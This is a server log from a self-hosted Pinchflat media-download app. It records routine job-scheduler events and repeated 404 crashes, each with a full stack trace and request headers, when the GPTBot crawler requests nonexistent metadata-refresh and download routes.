{"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.766 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:01.564 [info] {"source":"oban","duration":1217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:10.833 [info] GET /sources/4/force_metadata_refresh 02:37:10.834 [debug] QUERY OK source="settings" db=0.5ms idle=481.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:37:10.835 [debug] QUERY OK source="settings" db=0.2ms idle=189.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:37:10.835 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:37:10.835 [error] #PID<0.263963.0> running PinchflatWeb.Endpoint (connection #PID<0.263962.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41510}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263963.0>, params: %{}, path_info: ["sources", "4", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELXtTyEWWsUwkAMXuC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41510}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263962.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 41510}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263963.0>, params: %{}, path_info: ["sources", "4", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "htt (truncated) 02:37:31.566 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.767 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:01.568 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:12.473 [info] GET /sources/1/force_download_pending 02:38:12.474 [debug] QUERY OK source="settings" db=0.3ms idle=1829.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:38:12.475 [debug] QUERY OK source="settings" db=0.2ms idle=1829.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:38:12.475 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:38:12.476 [error] #PID<0.263970.0> running PinchflatWeb.Endpoint (connection #PID<0.263969.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263969.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59506}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263970.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELbS7-v83kf0IAJ_DB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263969.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59506}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263969.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59506}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263970.0>, params: %{}, path_info: ["sources", "1", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "htt (truncated) 02:38:31.570 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.768 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:01.572 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:17.977 [info] GET /sources/4/force_download_pending 02:39:17.978 [debug] QUERY OK source="settings" db=0.3ms idle=1332.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:39:17.979 [debug] QUERY OK source="settings" db=0.3ms idle=1333.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:39:17.979 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:39:17.979 [error] #PID<0.263979.0> running PinchflatWeb.Endpoint (connection #PID<0.263978.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 45942}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263979.0>, params: %{}, path_info: ["sources", "4", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/4/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELfG9RyR_tgOUAJ_GB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 45942}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263978.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 45942}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263979.0>, params: %{}, path_info: ["sources", "4", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "htt (truncated) 02:39:31.574 [info] {"source":"oban","duration":1311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.769 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:01.576 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:19.336 [info] GET /sources/1/force_metadata_refresh 02:40:19.337 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=691.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:19.337 [debug] QUERY OK source="settings" db=0.3ms idle=692.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:40:19.337 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:40:19.338 [error] #PID<0.263986.0> running PinchflatWeb.Endpoint (connection #PID<0.263985.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55278}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263986.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/1/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELiriU0xM27KQAJ_JB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55278}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => 